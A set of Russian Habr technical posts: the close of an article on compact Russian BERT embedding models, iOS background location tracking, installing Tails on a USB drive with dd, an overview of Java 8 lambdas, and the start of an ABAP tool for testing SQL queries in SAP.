| Intents | 0.5848 | 0.5632 | 0.6054 | **0.7478** | 0.6786 |
| Intets cross-lingual | 0.5394 | 0.2326 | 0.3638 | **0.7444** | 0.3658 |
| FactRuEval | 0.4355 | 0.6829 | 0.6766 | **0.6963** | 0.6952 |
| RuDReC | 0.5838 | 0.6520 | 0.6520 | **0.6705** | 0.6380 |
По итогам оценки оказалось, что модель LaBSE очень крутая: она заняла первое место на 6 из 10 задач. Поэтому я решил выложить [LaBSE-en-ru](https://huggingface.co/cointegrated/LaBSE-en-ru), у которой я отрезал эмбеддинги всех 99 языков, кроме русского и английского. Модель похудела с 1.8 до 0.5 гигабайт, и, надеюсь, таким образом стала чуть более удобной для практического применения. Ну а [rubert-tiny](https://huggingface.co/cointegrated/rubert-tiny) оказался по качеству в целом близок к моделям от [DeepPavlov](https://huggingface.co/DeepPavlov/rubert-base-cased-sentence) и [Sber](https://huggingface.co/sberbank-ai/sbert_large_nlu_ru), будучи при этом на порядок меньше и быстрее.
Заключение
----------
Я [обещал](https://habr.com/ru/post/489474/) сделать компактную модель для эмбеддингов русских предложений, и я это наконец сделал. Процесс дистилляции, скорее всего, я настроил неоптимально, и его ещё можно сильно улучшать, но уже сейчас маленькая модель на некоторых задачах приближается к уровню своих учителей и даже иногда обходит его. Так что если вам нужен маленький и быстрый BERT для русского языка, то [пользуйтесь](https://huggingface.co/cointegrated/rubert-tiny).
Впереди работы много: с одной стороны, хочется обучить маленький BERT решать задачи из RussianSuperGLUE (и не только), с другой – затащить в русский язык хорошие небольшие модели для контролируемой генерации текста (я уже [начал](https://towardsdatascience.com/how-to-adapt-a-multilingual-t5-model-for-a-single-language-b9f94f3d9c90) делать это для T5). Посему лайкайте данный пост, подписывайтесь на [мой канал про NLP](https://t.me/izolenta_mebiusa), подкидывайте в комментариях и в личке интересные задачи, и, если у вас доведутся руки попробовать rubert-tiny, то обязательно оставляйте обратную связь!
Мне и самому интересно, что будет дальше.
P.S. Если вдруг вы хотите упомянуть этот пост или модель в научной публикации, оформить цитирование можно так:
```
@misc{dale_tiny_and_fast_bert_2021,
author = "Dale, David",
title = "Маленький и быстрый BERT для русского языка",
editor = "habr.com",
url = "https://habr.com/ru/post/562064/",
month = {June},
year = {2021},
note = {[Online; posted 10-June-2021]},
}
``` | https://habr.com/ru/post/562064/ | null | ru | null |
# Энергосберегающий background location + отправка данных на сервер из фона
##### Постановка задачи
В приложении необходимо отслеживать местоположение пользователя, когда приложение работает в фоновом режиме (с относительно приемлимой точностью), а также когда приложение активно (с высокой точностью).
##### Решение
Решение в лоб — использовать данные из коллбеков *[CLLocationManagerInstance startUpdatingLocation]* как в фоне, так и когда приложение активно. Первый и наиболее критичный недостаток данного решения — высокое энергопотребление (за несколько часов аккумулятор iPhone может полностью сесть). Второй — если приложение будет свернуто и 'убито', никаких апдейтов положения пользователя мы получить не сможем.
Для решения этих двух проблем, а также для того, чтобы сделать данное решение обособленным и не связанным с кодом основного приложения, напишем свой компонент, который будет использовать *[CLLocationManagerInstance startUpdatingLocation]* в активном режиме приложения и *[CLLocationManagerInstance startMonitoringSignificantLocationChanges]* в фоне. В компоненте будет два блока, которые будут исполнятся в зависимости от того, в каком состоянии находится приложение.
##### Определение местоположения пользователя
###### Foreground
Для активного приложение решение очевидно — нам нужно создать инстанс CLLocationManager и установить делегат, а затем в коллбеках обрабатывать полученные данные. Создадим объект-обертку:
```
#import
typedef void(^locationHandler)(CLLocation \*location);
@interface DLLocationTracker : NSObject
@property (nonatomic, strong) CLLocationManager \*locationManager;
@property (nonatomic, copy) locationHandler locationUpdatedInForeground;
- (void)startUpdatingLocation;
- (void)stopUpdatingLocation;
@end
```
Блок *locationUpdatedInForeground* будет исполнятся при обновлении положения пользователя. Объект создается в контроллере, затем необходимо вызвать метод *startUpdatingLocation* для начала работы сервиса.
###### Background
Как уже упоминалось выше, есть два основных способа получать обновления координат в фоне:
* Выставить в \*.plist приложения UIBackgroundModes = «location», и использовать [locationManager startUpdatingLocation] — очень энергозатратный, но точный способ;
* Использовать **Significant Location Changes** (>iOS 4.0) — энергоэффективно, использует данные сотовых сетей. Обновляется приблизительно раз в 10-15 минут, погрешность до 500 метров (определено опытным путем). Более подробно можно прочесть [здесь](http://developer.apple.com/library/ios/#documentation/userexperience/conceptual/LocationAwarenessPG/CoreLocation/CoreLocation.html).
Воспользуемся вторым подходом.
Обновим хедер нашего компонента:
```
#import
typedef void(^locationHandler)(CLLocation \*location);
@interface DLLocationTracker : NSObject
@property (nonatomic, strong) CLLocationManager \*locationManager;
@property (nonatomic, copy) locationHandler locationUpdatedInForeground;
@property (nonatomic, copy) locationHandler locationUpdatedInBackground;
- (void)startUpdatingLocation;
- (void)stopUpdatingLocation;
- (void)endBackgroundTask;
@end
```
*locationUpdatedInBackground* блок будет вызываться, когда приложение получает апдейт координат в фоновом режиме.
*endBackgroundTask* — метод, который позволяет закончить задачу, выполняющуюся в фоне (рассмотрим позже).
Также в \*.plist приложения нужно добавить пункт **Required background modes = {App registers for location updates}**.
Механизм *Significant Location Changes* позволяет получать апдейты местоположения даже в том случае, если приложение не запущено. Для этого нужно немножко переписать стандартный метод appDelegate *applicationDidFinishLaunchingWithOptions*:
```
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
if ([launchOptions objectForKey:UIApplicationLaunchOptionsLocationKey]) {
self.locationTracker = [[DLLocationTracker alloc] init];
[self.locationTracker setLocationUpdatedInBackground:^(CLLocation *location) {
//тестовый блок, будет показывать local notification с координатами
UILocalNotification *notification = [[UILocalNotification alloc] init];
notification.fireDate = [NSDate dateWithTimeIntervalSinceNow:15];
notification.alertBody = [NSString stringWithFormat:@"New location: %@", location];
[[UIApplication sharedApplication] scheduleLocalNotification:notification];
}];
[self.locationTracker startUpdatingLocation];
}
.....
}
```
*UIApplicationLaunchOptionsLocationKey* — ключ, который показывает, что приложение было запущено в ответ на поступившее событие об изменении местоположения.
##### Реализация компонента
При инициализации компонента создается инстанс CLLocationManager и объект устанавливается его делегатом, также подписываем его на нотификации об изменении состоянии прилоложения (активное/фоновое).
```
- (id)init {
if (self = [super init]) {
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(applicationDidBecomeActive) name:UIApplicationDidBecomeActiveNotification object:nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(applicationDidEnterBackground) name: UIApplicationDidEnterBackgroundNotification object:nil];
self.locationManager = [[CLLocationManager alloc] init];
self.locationManager.delegate = self;
}
return self;
}
```
Дальше вызовем startUpdatingLocation:
```
- (void)startUpdatingLocation {
[self stopUpdatingLocation];
[self isInBackground] ? [self.locationManager startMonitoringSignificantLocationChanges] : [self.locationManager startUpdatingLocation];
}
```
В зависимости от состяния приложения активируется нужный сервис.
Все самое интересное происходит в коллбеке CLLocationManager:
```
- (void)locationManager:(CLLocationManager *)manager didUpdateToLocation:(CLLocation *)newLocation fromLocation:(CLLocation *)oldLocation {
//фильтруем апдейты на основании минимального времени обновления и минимально дистанции
if (oldLocation && ([newLocation.timestamp timeIntervalSinceDate:oldLocation.timestamp] < kMinUpdateTime ||
[newLocation distanceFromLocation:oldLocation] < kMinUpdateDistance)) {
return;
}
if ([self isInBackground]) {
if (self.locationUpdatedInBackground) {
bgTask = [[UIApplication sharedApplication] beginBackgroundTaskWithExpirationHandler: ^{
[[UIApplication sharedApplication] endBackgroundTask:bgTask];
}];
self.locationUpdatedInBackground(newLocation);
[self endBackgroundTask];
}
} else {
//если приложение активно - выполняем этот блок
if (self.locationUpdatedInForeground) {
self.locationUpdatedInForeground(newLocation);
}
}
}
```
Для того, чтобы наше приложение могло что-либо сделать в фоне, необоходимо вызвать метод *beginBackgroundTaskWithExpirationHandler* и проинициализировать идентификатор *bgTask* (тип UIBackgroundTaskIdentifier). Каждый вызов этого метода должен быть сбалансирован вызовом *endBackgroundTask*:, что и происходит в *[self endBackgroundTask]*:
```
- (void)endBackgroundTask {
if (bgTask != UIBackgroundTaskInvalid) {
[[UIApplication sharedApplication] endBackgroundTask:bgTask];
bgTask = UIBackgroundTaskInvalid;
}
}
```
Важным моментом является то, что блок locationUpdatedInBackground выполняется синхронно (мы можем себе это позволить, когда приложения в фоне), это может вызвать проблемы, если сворачивать/разворачивать приложение во время выполнения блока, а именно, если блок не выполнится в течение 10 секунд, приложение упадет.
##### Асинхронная отправка данных из фона
Для асинхронной отправки немого изменим код нашего компонента:
```
if ([self isInBackground]) {
if (self.locationUpdatedInBackground) {
bgTask = [[UIApplication sharedApplication] beginBackgroundTaskWithExpirationHandler: ^{
[[UIApplication sharedApplication] endBackgroundTask:bgTask];
}];
self.locationUpdatedInBackground(newLocation);
//[self endBackgroundTask]; - заканчивать таск будем по коллбекам нашей асинхронной операции в реализации блока
}
```
Блок *locationUpdatedInBackground*:
```
__weak DLLocationTracker *lc = self.locationTracker;
[self.locationTracker setLocationUpdatedInBackground:^ (CLLocation *location) {
//предположим, что у нас есть метод с completion и fail хендлерами для отправки местоположения
[self sendLocationToServer:location completion:^{
[lc endBackGroundTask];
} fail:^(NSError *fail) {
[lc endBackGroundTask];
}];
}];
```
##### Заключение
Подобный энергоэффективный способ используется во многих приложениях. Например, фича Radar в Forsquare. Код тестового приложения можно взять на [github](https://github.com/garnett/BackgroundLocationTracking/tree/master/BackgroundLocationTrackingExample). | https://habr.com/ru/post/149836/ | null | ru | null |
# Еще один способ поставить tails на флешку (и вернуть свои гигабайты)
Добрый день, читатель!
[TAILS](https://tails.boum.org/) — это замечательный live дистрибутив, которым можно проверить ноут перед покупкой и через который можно безопасно работать в сети и который не оставляет следом на машинке. Весит сие дело всего 1.3 Gb.
### **Подготовка**
Берем обычную флешку,
```
Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
```
она «пустая»:
Скачиваем образ tails [tails-amd64-3.0.iso](https://amnesia.thetechstewart.com/tails/stable/tails-amd64-3.0/tails-amd64-3.0.iso) , сигнатуру [tails-amd64-3.0.iso.sig](https://tails.boum.org/torrents/files/tails-amd64-3.0.iso.sig) и ключ [tails-signing.key](https://tails.boum.org/tails-signing.key) (если еще не скачали), который импортируем в keyring `gpg2 --import tails-signing.key`(если у вас стоит `gpg`, и нет `gpg2`, то используйте `gpg`).
Затем проверяем образ:
`gpg2 --keyid-format 0xlong --verify tails-amd64-3.0.iso.sig tails-amd64-3.0.iso`
В случае неудачи:
```
gpg: Signature made Sat 10 Jun 2017 05:37:05 PM CEST
gpg: using RSA key 0x3C83DCB52F699C56
gpg: BAD signature from "Tails developers (offline long-term identity key) " [unknown]
```
В случае успеха:
```
gpg: Signature made Sat 10 Jun 2017 05:37:05 PM CEST
gpg: using RSA key 0x3C83DCB52F699C56
gpg: Good signature from "Tails developers (offline long-term identity key) " [unknown]
gpg: aka "Tails developers " [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: A490 D0F4 D311 A415 3E2B B7CA DBB8 02B2 58AC D84F
Subkey fingerprint: A509 1F72 C746 BA6B 163D 1C18 3C83 DCB5 2F69 9C56
```
* sha1: 4e27a1d83cfaa4ee0d94372df453b8024041a51d tails-amd64-3.0.iso
* sha256: 676f1322166536dc1e27b8db22462ae73f0891888cfcb09033ebc38f586e834a tails-amd64-3.0.iso
### **«Установка»**
Следом, записываем через dd образ на флешку:
`dd bs=4M if=tails-amd64-3.0.iso of=/dev/sdb && sync`
```
288+1 records in
288+1 records out
1209116672 bytes (1.2 GB) copied, 83.0623 s, 14.6 MB/s
```
Начиная с этого момента мы можем вставить данную флешку в комп или ноут и у нас загрузится TAILS \0/
### ***Продолжение***
Для тех, кому сие показалось слишком простым, как и слишком недоверчивым, подготовлена эта глава и следующая.
Вот так теперь выглядит наша «флешка»:
```
Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0000002a
Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 0 2361554 2361555 1.1G 17 Hidden HPFS/NTFS
```
И `lsblk -f` возвращает:
```
sdb iso9660 TAILS 3.0 - 20170610 2017-06-10-14-06-10-00
└─sdb1 iso9660 TAILS 3.0 - 20170610 2017-06-10-14-06-10-00
```
Непорядок!
`e2label /dev/sdb "mydiskname"`
```
e2label: Bad magic number in super-block while trying to open /dev/sdb
```
`e2label /dev/sdb1 "mydiskname"`
```
e2label: Bad magic number in super-block while trying to open /dev/sdb1
Couldn't find valid filesystem superblock.
```
Понимаешь ли, *«прощайте 16Гб..»* и привет *«Я TAILS 3.0 — 20170610 2017-06-10-14-06-10-00!!1»*.
### ***Продвинутая установка***
Лейблы в образе (см sha1 & sha256!) находятся на позициях 32808 & 36904. Даты вылезают на 33581 & 37676. Данные можно откорректировать ручками через bless (hex-editor для debian) или через любой другой редактор или… через dd, для чего заходим в папке с образом и..:
```
echo -ne \\x53\\x41\\x4E\\x44\\x49\\x53\\x4B\\x20\\x55\\x4C\\x54\\x52\\x41\\x46\\x49\\x54\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20|dd conv=notrunc bs=1 seek=32808 of=tails-amd64-3.0.iso
```
```
26+0 records in
26+0 records out
26 bytes (26 B) copied, 6.9594e-05 s, 374 kB/s
```
```
echo -ne \\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x00\\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30|dd conv=notrunc bs=1 seek=33581 of=tails-amd64-3.0.iso
```
```
33+0 records in
33+0 records out
33 bytes (33 B) copied, 6.7797e-05 s, 487 kB/s
```
Заменяет лейбл и дату в начале (на **финальные** *SANDISK ULTRAFIT* & *1979-01-01-00-00-00-00* соотв.)
```
echo -ne \\x00\\x53\\x00\\x41\\x00\\x4E\\x00\\x44\\x00\\x49\\x00\\x53\\x00\\x4B\\x00\\x20\\x00\\x55\\x00\\x4C\\x00\\x54\\x00\\x52\\x00\\x41\\x00\\x46\\x00\\x49\\x00\\x54|dd conv=notrunc bs=1 seek=36904 of=tails-amd64-3.0.iso
```
```
32+0 records in
32+0 records out
32 bytes (32 B) copied, 6.8662e-05 s, 466 kB/s
```
```
echo -ne \\x00\\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x00\\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30|dd conv=notrunc bs=1 seek=37676 of=tails-amd64-3.0.iso
```
```
34+0 records in
34+0 records out
34 bytes (34 B) copied, 0.000132513 s, 257 kB/s
```
лейблы и метки при следующем вхождении.
Следом «болваним» этот образ на нашу флешку:
`dd bs=4M if=tails-amd64-3.0.iso of=/dev/sdb && sync`
```
288+1 records in
288+1 records out
1209116672 bytes (1.2 GB) copied, 89.9522 s, 13.4 MB/s
```
*(bs=8M скорости не добавил, больше ставить боюсь, так как зверек греется не по-детски… USB3.0 facepalm Карл!)*
`fdisk -l /dev/sdb`
```
Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0000002a
Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 0 2361554 2361555 1.1G 17 Hidden HPFS/NTFS
```
А `lsblk -f` возвращает:
```
sdb iso9660 SANDISK ULTRAFIT 1979-01-01-00-00-00-00
└─sdb1 iso9660 SANDISK ULTRAFIT 1979-01-01-00-00-00-00
```
### **Возвращаем гигабайты**
2361555х512 = 1209116160 байт или 1153Mb. Открываем наш gparted:
Прожимаем ignore и выбираем (в моем случае /dev/sdb):
Создаем раздел, я выбрал ntfs, чтобы тыркат ею в виндузятные компы:
Так как наш образ отъел 1.2 гига от начала влешки, оставляем (красивое число) 1536Мб от начале неиспользованными и отдаем все прочее под наш/ваш раздел.
Снова прожимаем ignore. И voilà, готово:
Перетыркиваем флешку (для этого ее надо вытыркнуть из USB и втыркнуть обратно):
`fdisk -l /dev/sdb` выдает
```
Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0000002a
Device Boot Start End Sectors Size Id Type
/dev/sdb1 3145728 30029823 26884096 12.8G 7 HPFS/NTFS/exFAT
```
`lsblk -f` выдает
```
sdb iso9660 SANDISK ULTRAFIT 1979-01-01-00-00-00-00
└─sdb1 ntfs SANDISK ULTRAFIT 733D430C617B2382
```
Флешка работает:
А tails грузится!
[](https://blog-static.saraeff.net/uploads/2017/06/tails_008_466983cb3453f0b4.png)[](https://blog-static.saraeff.net/uploads/2017/06/tails_009_92137f5add9882fb.png)
Крокодил ловится, а кокос растет!
Хорошей вам работы, безопасного серфинга, да прибудет с вами сила 0/
З.Ы, конечно тот, кто использует **lsblk** может обратить внимание на **iso9660**… пусть *другой* способ установки будет в *другой* статье! | https://habr.com/ru/post/332032/ | null | ru | null |
# JSR 335 или lambda-выражения в JAVA 8
#### Введение
Посетил вчера [семинар](http://jug.ru/) по lambda-выражениям в JAVA 8. Рассказали много интересного.
Из интересностей:
#### lambda-выражения
```
Comparator cmp = (x, y) -> (x < y) ? -1 : (x > y) ? 1 : 0;
```
Слева обязательный интерфейс, определяющий lambda. Справа выражение. Левая часть от "->" это сигнатура, правая — реализация.
Эта конструкция заменяет громоздкий код:
```
Comparator comparator = new Comparator () {
public int compare(Integer x, Integer y) {
return (x < y) ? -1 : (x > y) ? 1 : 0;
}
};
```
lambda-выражения могут имплементировать любой функциональный интерфейс.Функциональный интерфейс — это интерфейс с одним абстрактным методом (об этом ниже). Также добавится куча полезных интерфейсов вроде Factory.make, Mapper.map. Ну и еще множество гибких возможностей использования и применения.
Также есть возможность вместо ручного описания лямбды брать ее реализацию из других классов:
```
Comparator comparator = LibraryComparator::compare; // Некая реализация из библиотеки
```
#### Расширение интерфейсов default-методами (defender)
Да, теперь методы интерфейса делятся на абстрактные (не имеют реализации) и не абстрактные (default), которые имеют некую дефолтную реализацию. Это нововведение признано упростить расширение интерфейсов базовых сущностей JAVA, да и вообще любых интерфейсов с поддержкой совместимости. Например, имеется старый интерфейс:
```
public interface OldInterface {
void method();
}
```
Нам его надо расширить, но чтобы старый код продолжил работать. Добавим default-метод:
```
public interface OldInterface {
void method();
void newMethod() default {
// default implementation
}
}
```
Писать или не писать слово default в интерфейсах — обсуждается.
#### Stream (bulk) операции
Классная штука, позволяющая гораздо гибче работать с коллекциями. Например, абстрактный пример в вакууме:
```
list.stream().parallel().reduce(Math::max).into(newList);
```
Попытались параллельно отсортировать коллекцию с указанным компаратором (может быть lambda), затем отфильтровали максимальный элемент и поместили это значение(-я) в другой список.
Подробнее о новых фишках: <http://openjdk.java.net/projects/lambda/>
О новых встречах: <http://jug.ru/>
Записывали видео, буду рад, если кто приведет ссылку на него для общественности. | https://habr.com/ru/post/155191/ | null | ru | null |
# Разработка компонента для создания коллажей
Популярность приложений для обработки фотографий постоянно растет. Недавно мы предлагали вниманию наших читателей [гайд для новичков](https://habrahabr.ru/company/everydaytools/blog/325352/) по написанию собственного фоторедактора. Сегодня мы хотели бы поделиться с хабровчанами опытом наших партнеров – разработчиков компании New Technologies, – полученным в ходе работы над апдейтом их приложения. Этот материал может быть полезен как при работе с приложением-фоторедактором, так и с проектами, в которых обработка изображений является побочной функцией (собственно, в случае, о котором пойдет речь, так оно и было).
«В ходе проектирования [My Wardrobe](http://go.everydaytools.mobi/mIpzWX) — приложения для хранения коллекции одежды и образов — нашей команде неоднократно приходилось решать вопросы удобства интерфейса: находить баланс между множеством функций и легкостью доступа к ним. Помимо хранения всей одежды из своего гардероба, пользователю предоставлялась возможность создать образ из комбинации вещей и прикрепить к нему фотографию. Однако уже на этапе проектирования было ясно, что, возможно, пользователь не захочет делать новое фото своего образа, а предпочтет создать иконку из фотографий одежды, расположив их на однотонном фоне — это устоявшаяся практика изображения образа в мире моды.
Добавление этой возможности требовало реализации механизма создания и редактирования коллажей. А поскольку подобная функциональность нередко требуется в различных продуктах для работы с фотографиями, было решено реализовать её в виде универсального компонента с простым программным интерфейсом.
#### Постановка задачи
Задача состоит в предоставлении пользователю следующих функций:
* добавление картинок в заранее подготовленный шаблон коллажа;
* изменение размера, поворот, перемещение картинок внутри области коллажа;
* возможность поменять картинки местами;
* удаление картинок.
Стоит сразу отметить, что попытка представить сразу все возможности по редактированию на одном экране может привести как к некорректности интерфейса, так и к техническим трудностям реализации. Но, если аккуратно обойти возможные коллизии взаимодействия, получится удобный для пользователя интерфейс без лишних элементов.
#### Реализация
Для реализации данного интерфейса были созданы 2 контроллера (UIViewController): *Контроллер коллажа* и *Контроллер элемента коллажа*. При этом *Контроллер коллажа* может содержать любую конфигурацию контейнеров с элементами.
На данном этапе такой конфигурации будет достаточно.
Интерфейс *Контроллера коллажа* также будет достаточно простым: делегат и метод для получения картинок от клиента.
```
@protocol CollageVCDelegate;
@interface CollageVC : UIViewController
@property (weak, nonatomic) id delegate;
- (void)imageForIndex:(NSUInteger)index image:(UIImage\*)image;
@end
@protocol CollageVCDelegate
- (void)collageVCNeedsImageForIndex:(NSUInteger)index sender:(CollageVC\*)sender;
@end
```
Получение изображения готового коллажа — отдельная задача, поэтому на данном этапе эта функция не включена в интерфейс.
#### Поворот, перемещение, увеличение картинок внутри элемента коллажа
Данные возможности реализованы в *Контроллере элемента коллажа*. Все перемещения изображения сделаны с помощью UIGestureRecognizer. Достаточно разместить в контроллере View и добавить к ней 3 распознавателя жестов: UIRotationGestureRecognizer. UIPinchGestureRecognizer, UIPanGestureRecognizer.
```
-(void)addGestureActions:(CollageImageView*)view{
UIRotationGestureRecognizer* rotationGestureRecognizer = [[UIRotationGestureRecognizer alloc] initWithTarget:self action:@selector(rotate:)];
UIPinchGestureRecognizer* pinchGestureRecognizer = [[UIPinchGestureRecognizer alloc] initWithTarget:self action:@selector(pinch:)];
UIPanGestureRecognizer* panGestureRecognizer = [[UIPanGestureRecognizer alloc] initWithTarget:self action:@selector(pan:)];
[self.imageFrameView addGestureRecognizer:rotationGestureRecognizer];
[self.imageFrameView addGestureRecognizer:pinchGestureRecognizer];
[self.imageFrameView addGestureRecognizer:panGestureRecognizer];
panGestureRecognizer.cancelsTouchesInView = NO;
panGestureRecognizer.maximumNumberOfTouches = 1;
rotationGestureRecognizer.delegate = self;
pinchGestureRecognizer.delegate = self;
panGestureRecognizer.delegate = self;
}
```
Они будут вызывать методы, в которых будут проведены соответствующие афинные преобразования для перемещения элементов.
#### Возможность поменять картинки местами
Функция перестановки 2-х изображений на место друг друга будет выполняться на уровне *Контроллера коллажа*.
Для этого он также должен отслеживать жесты пользователя. Чтобы инициировать процесс перестановки, достаточно отследить момент, когда пользователь, перемещая картинку, передвинул палец на область с другой картинкой. Для этой цели использовались методы UIResponder, передающие UITouches.
Поскольку UITouches отлавливаются с помощью UIGestureRecognizer в *Контроллерах элементов коллажа*, для них необходимо установить свойство *cancelsTouchesInView = NO*. Это достаточно сделать только для UIPanGestureRecognizer, так как требуется отслеживать только UITouches, связанные с перемещением картинки.
События touches могут быть вызваны одновременными нажатиями на разные области коллажа, поэтому необходимо исключить обработку ненужных событий. Это можно сделать путём сохранения указателя на элемент коллажа с которым ведётся взаимодействие в методе touchesBegan:withEvent:
```
- (void)touchesBegan:(NSSet \*)touches withEvent:(UIEvent \*)event{
UITouch\* touch = [touches anyObject];
CGPoint location = [touch locationInView:self.view];
[collageItems enumerateObjectsUsingBlock:^(CollageItem \* object, NSUInteger idx, BOOL \*stop) {
//проверка попадания точки нажатия на элемент коллажа
if ([object.imageFrameView pointInside:[self.view convertPoint:location toView:object.imageFrameView] withEvent:event]) {
[self startedInteractionInItem:object];
\*stop = YES;
}
}];
}
- (void)startedInteractionInItem:(CollageItem\*)item{
if (interactingItem == nil) {
interactingItem = item;
}
}
```
Метод touchesMoved вызывает проверку, не хочет ли пользователь поменять картинки местами. Здесь необходимо определить, не передвинул ли пользователь изображение в другой элемент коллажа. Если это произошло, нужно запомнить текущее состояние элементов коллажа и отобразить пользователю результат перестановки изображений. Если после этого пользователь снова поместил изображение в стартовую область, нужно вернуть состояние элементов обратно.
```
- (void)touchesMoved:(NSSet \*)touches withEvent:(UIEvent \*)event{
UITouch\* touch = [touches anyObject];
CGPoint location = [touch locationInView:self.view];
if ([touch.view isEqual:interactingItem.imageView] || interactingItem == nil) {
[collageItems enumerateObjectsUsingBlock:^(CollageItem \* object, NSUInteger idx, BOOL \*stop) {
if ([object.imageFrameView pointInside:[self.view convertPoint:location toView:object.imageFrameView] withEvent:event]) {
[self processInteractionInItem:object];
\*stop = YES;
}
}];
}
}
- (void)processInteractionInItem:(CollageItem\*)item{
if ([interactingItem isEqual:item]) {
if (swapTargetItem) {
[self cancelSwap];
}
} else {
if (![swapTargetItem isEqual:item]) {
[self prepareSwapWith:item];
}
}
}
```
В методе touchesEnded:withEvent: применяется состояние после перестановки картинок, указатель на элемент взаимодействия освобождается.
```
- (void)touchesEnded:(NSSet \*)touches withEvent:(UIEvent \*)event{
UITouch\* touch = [touches anyObject];
CGPoint location = [touch locationInView:self.view];
if (interactingItem) {
if ([touch.view isEqual:interactingItem.imageView]) {
[collageItems enumerateObjectsUsingBlock:^(CollageItem \* object, NSUInteger idx, BOOL \*stop) {
if ([object.imageFrameView pointInside:[self.view convertPoint:location toView:object.imageFrameView] withEvent:event]) {
[self finishedInteractionInItem:object];
\*stop = YES;
}
}];
}
}
}
- (void)finishedInteractionInItem:(CollageItem\*)item{
if (![interactingItem isEqual:item]) {
[self applySwap];
}
[self unlockItems];
interactingItem = nil;
}
```
Таким образом, мы избегаем конфликтов обработки разных жестов.
#### Заключение
На выходе мы имеем интерфейс для удобного создания и редактирования коллажей.
При использовании разработанного таким образом редактора не возникает коллизий между жестами, управление интуитивно понятно, а отсутствие лишних кнопок и состояний экрана облегчает процесс взаимодействия с приложением для пользователя. Мы планируем совершенствовать полученный компонент и в дальнейшем внедрять его в другие проекты компании». | https://habr.com/ru/post/326940/ | null | ru | null |
# Запуск SQL запросов в SAP
 При внедрении информационных решений на базе SAP ERP, как правило, разворачиваются три системы:
1. Система разработки.
2. Система тестирования.
3. Система продуктивной эксплуатации.
В процессе разработки программ очень часто возникает необходимость оперативно протестировать SQL-запросы в продуктивной или тестовой системе, так как система разработки обычно содержит минимум данных и их не всегда достаточно. Давайте рассмотрим существующие для этого варианты, оценим их недостатки и в итоге разработаем свой инструмент.
Мне удалось насчитать 5 доступных вариантов:
##### **1.** Транзакция SE16/SE16N
С помощью этой транзакции можно делать выборку только с одной таблицы. Не подходит для запросов с несколькими таблицами.
##### **2.** Транзакция ST04 (Additional functions -> SQL Command Editor)
Этот инструмент позволяет выполнять SQL-запросы любой сложности, но имеет 2 недостатка:
* во-первых, воспринимает только Native SQL-запросы (синтаксис СУБД), что накладывает некоторые неудобства, так как при разработке программ на ABAP для универсальности используются Open SQL-запросы, несколько отличающиеся синтаксисом, но это можно было бы пережить, если бы не «во-вторых»;
* во-вторых, работает только в том случае, если в качестве СУБД используется Oracle.
##### **3.** Транзакция SQVI
В транзакции нельзя писать напрямую SQL-запросы, но можно с помощью конструктора строить достаточно сложные выборки из нескольких таблиц с JOIN`ами. Не умеет работать с подзапросами и к тому же в конструкторе приходится выполнять слишком много манипуляций мышкой, поэтому для тестирования запросов не подходит.
##### **4.** Написать простенькую программу с тестируемым запросом и перенести ее в тестовую систему
Процесс переноса измененного кода в тестовую (продуктивную) систему требует выполнения некоторых рутинных манипуляций и занимает в среднем 5-7 минут, поэтому данный вариант тоже не подходит, так как никакого терпения не хватит проделывать всё это после каждой правки запроса.
##### **5.** Прямой доступ к СУБД
В большинстве случаев получить разработчикам такой доступ на проектах не представляется возможным, поэтому данный вариант не подходит.
##### **Вывод**
Получается, что удобного универсального инструмента, который бы позволял оперативно тестировать SQL-запросы любой сложности в SAP, не существует. Придя к такому выводу, я решил разработать такой инструмент.
Приступаем к разработке
-----------------------
Для начала в транзакции SE80 создаем программу ZSQL, GUI-статус MAIN100 с кнопкой «Выполнить» и Экран 0100.
Укрупнённо алгоритм программы выглядит так:
##### Получение SQL-запроса SELECT
Для получения SQL-запроса будем использовать текстовый редактор, который создадим на экране с помощью класса **CL\_GUI\_TEXTEDIT**. Для этого добавим на Экран 0100 пустой контейнер с именем MYEDIT, в который будем выводить редактор.
**Фрагмент кода, создающий текстовый редактор на экране**
```
data: g_editor type ref to cl_gui_textedit,
g_editor_container type ref to cl_gui_custom_container.
if g_editor is initial.
create object g_editor_container
exporting
container_name = `MYEDIT`
exceptions
cntl_error = 1
cntl_system_error = 2
create_error = 3
lifetime_error = 4
lifetime_dynpro_dynpro_link = 5.
create object g_editor
exporting
parent = g_editor_container
wordwrap_mode = cl_gui_textedit=>wordwrap_at_fixed_position
wordwrap_to_linebreak_mode = cl_gui_textedit=>true
exceptions
others = 1.
if sy-subrc <> 0.
leave program.
endif.
endif.
```
##### Парсинг SQL-запроса
